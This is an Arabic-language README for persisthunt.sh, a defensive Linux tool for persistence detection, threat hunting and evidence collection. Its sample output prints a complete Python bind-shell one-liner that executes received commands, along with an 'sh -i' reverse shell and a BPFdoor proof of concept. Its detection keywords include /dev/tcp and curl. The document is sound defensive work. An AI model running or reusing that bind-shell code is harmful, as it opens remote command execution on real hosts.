
سكربت كشف الاستمرارية، الصيد وجمع الأدلة في لينكس
يساعد persisthunt.sh على تسريع التحقيقات من خلال جمع الأدلة المستهدفة المتعلقة بالاستمرارية وإبراز الأنماط المشبوهة المرتبطة عادةً بتقنيات الاستمرارية في لينكس.
يساعد السكربت في كشف الاستمرارية، ومطاردة التهديدات، وجمع الأدلة عبر آليات الاستمرارية المعروفة في لينكس. تُصنَّف النتائج إلى ثلاثة مستويات - High وLow وInformational - بناءً على الثقة والخطورة. تتضمن الأمثلة إدخالات تشغيل تلقائي مشبوهة تُشير إلى /tmp/ أو /home/ أو /dev/tcp أو curl، أو اكتشاف قوالب bind/reverse shell نشطة.
صُمم ليكون أساسًا مرنًا يمكن للمدافعين تخصيصه لبيئاتهم عن طريق إضافة أو إزالة منطق الكشف والكلمات المفتاحية. قد يكون المخرج كبيرًا وقد يتطلب تحليلًا خاصًا بالبيئة، لكنه مناسب أيضًا للمراجعة والتلخيص باستخدام نماذج اللغة الكبيرة (LLMs) أو وكلاء الذكاء الاصطناعي.
شغّله كمستخدم root وأعد توجيه المخرجات إلى ملف
sudo persisthunt.sh > output.log
شغّله على مضيف بعيد عبر SSH
ssh [email protected] 'bash -s' < persisthunt.sh > output.log 2>&1
=== [HIGH] Active reverse shell ===
bob 3889906 0.0 0.0 2800 1848 pts/2 S+ 06:38 0:00 sh -i
=== [HIGH] Active bind shell ===
LISTEN 0 1 0.0.0.0:4444 0.0.0.0:* users:(("python3",pid=3891687,fd=3))
bob 3891687 0.7 0.3 19540 12320 pts/3 S+ 06:41 0:00 python3 -c exec("""import socket as s,subprocess as sp;s1=s.socket(s.AF_INET,s.SOCK_STREAM);s1.setsockopt(s.SOL_SOCKET,s.SO_REUSEADDR, 1);s1.bind(("0.0.0.0",4444));s1.listen(1);c,a=s1.accept(); while True: d=c.recv(1024).decode();p=sp.Popen(d,shell=True,stdout=sp.PIPE,stderr=sp.PIPE,stdin=sp.PIPE);c.sendall(p.stdout.read()+p.stderr.read())""")
=== [HIGH] eBPF programs with raw network sockets (possible BPFdoor persistence) ===
PID: 3903559, Executable: bpfdoorpoc, Stack trace: /proc/3903559/stack:[<0>] packet_recvmsg+0x6e/0x5c0
=== [LOW] Recent ELF binary in tmp/home/hidden dirs ===
/var/tmp/.test